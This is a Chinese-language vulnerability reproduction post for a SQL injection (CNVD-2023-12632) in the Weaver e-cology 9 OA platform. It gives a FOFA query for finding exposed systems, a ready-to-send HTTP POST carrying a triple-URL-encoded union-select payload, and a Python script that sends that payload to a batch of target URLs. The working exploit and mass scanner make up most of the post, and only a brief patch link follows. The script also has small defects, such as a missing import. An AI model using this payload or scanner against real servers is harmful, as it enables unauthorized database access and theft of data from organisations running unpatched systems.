文章目录
- 泛微E-cology9 browserjsp SQL注入漏洞(CNVD-2023-12632)漏洞复现 [附POC]
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响版本
- 0x04 漏洞环境
- 0x05 漏洞复现
- 1.访问漏洞环境
- 2.构造POC
- 3.复现
- 0x06 修复建议
泛微E-cology9 browserjsp SQL注入漏洞(CNVD-2023-12632)漏洞复现 [附POC]
0x01 前言
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0x02 漏洞描述
泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。
由于e-cology OA对用户输入内容的验证存在缺陷。未经身份验证的远程攻击者通过向目标系统发送特制的字符串，最终可实现获取目标数据库中的敏感信息。
0x03 影响版本
泛微e-cology V9<10.56
0x04 漏洞环境
FOFA语法：app=“泛微-协同商务系统”
0x05 漏洞复现
1.访问漏洞环境
2.构造POC
POC （POST）
POST /mobile/%20/plugin/browser.jsp HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 649
isDis=1&browserTypeId=269&keyword=%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%38%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%33%33%25%32%35%25%33%35%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%35%25%33%36%25%32%35%25%33%34%25%33%35%25%32%35%25%33%35%25%33%32%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%39%25%32%35%25%33%34%25%36%36%25%32%35%25%33%34%25%36%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%37
PS：keyword参数后面的值是以下语句经过三次url编码后得到的。
a' union select 1,''+(SELECT @@VERSION)+'
3.复现
1.发送SQL注入查询数据库版本的数据包。
2.批量验证脚本
地址：
https://github.com/SharpKean/CNVD-2023-12632_POC
import requests
from termcolor import colored
import signal
# Disable SSL certificate verification
requests.packages.urllib3.disable_warnings()
output_file = None # 全局变量
def check_url(url, output=None):
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
data = {
"isDis": "1",
"browserTypeId": "269",
"keyword": "%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%38%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%33%33%25%32%35%25%33%35%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%35%25%33%36%25%32%35%25%33%34%25%33%35%25%32%35%25%33%35%25%33%32%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%39%25%32%35%25%33%34%25%36%36%25%32%35%25%33%34%25%36%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%37"
}
try:
modified_url = url + '/mobile/%20/plugin/browser.jsp'
response = requests.post(modified_url, data=data, headers=headers, verify=False, timeout=3)
content = response.text
if "show2" in content:
result = colored(url + " 存在", 'red')
if output:
with open(output, 'a') as file: # 以追加模式打开文件
file.write(url + '\n')
print(result) # 即时打印结果
else:
result = url + " 不存在"
print(result) # 即时打印结果
except requests.exceptions.RequestException as e:
pass # 不进行任何操作，直接请求下一个URL
def check_urls_from_file(filename, output=None):
with open(filename, 'r') as file:
url_list = file.read().strip().split('\n')
for url in url_list:
check_url(url, output)
# 捕获中断信号
signal.signal(signal.SIGINT, handle_interrupt)
def handle_interrupt(signum, frame):
global output_file
# 在捕获中断时保存当前扫描结果，并关闭文件
if output_file:
output_file.close()
print("\n扫描已中断并保存当前结果。")
exit()
def main():
global output_file
parser = argparse.ArgumentParser(description='CNVD-2023-12632检测POC')
parser.add_argument('-u', '--url', help='检测单个URL')
parser.add_argument('-r', '--file', help='从文本中批量检测URL')
parser.add_argument('-o', '--output', help='将检测到的输出到文本中')
args = parser.parse_args()
if args.output:
output_file = open(args.output, 'a') # 以追加模式打开输出文件
if args.url:
check_url(args.url, args.output)
elif args.file:
check_urls_from_file(args.file, args.output)
else:
parser.print_help()
# 注册捕获中断信号的处理程序
signal.signal(signal.SIGINT, handle_interrupt)
# 关闭输出文件
if output_file:
output_file.close()
PS：使用方法：
-h 帮助
-u 检测单个URL
-r 读取文件批量检测
-o 将检测到的输出到文本中
0x06 修复建议
厂商已经更新补丁，修复方案：
https://www.weaver.com.cn/cs/securityDownload.asp#
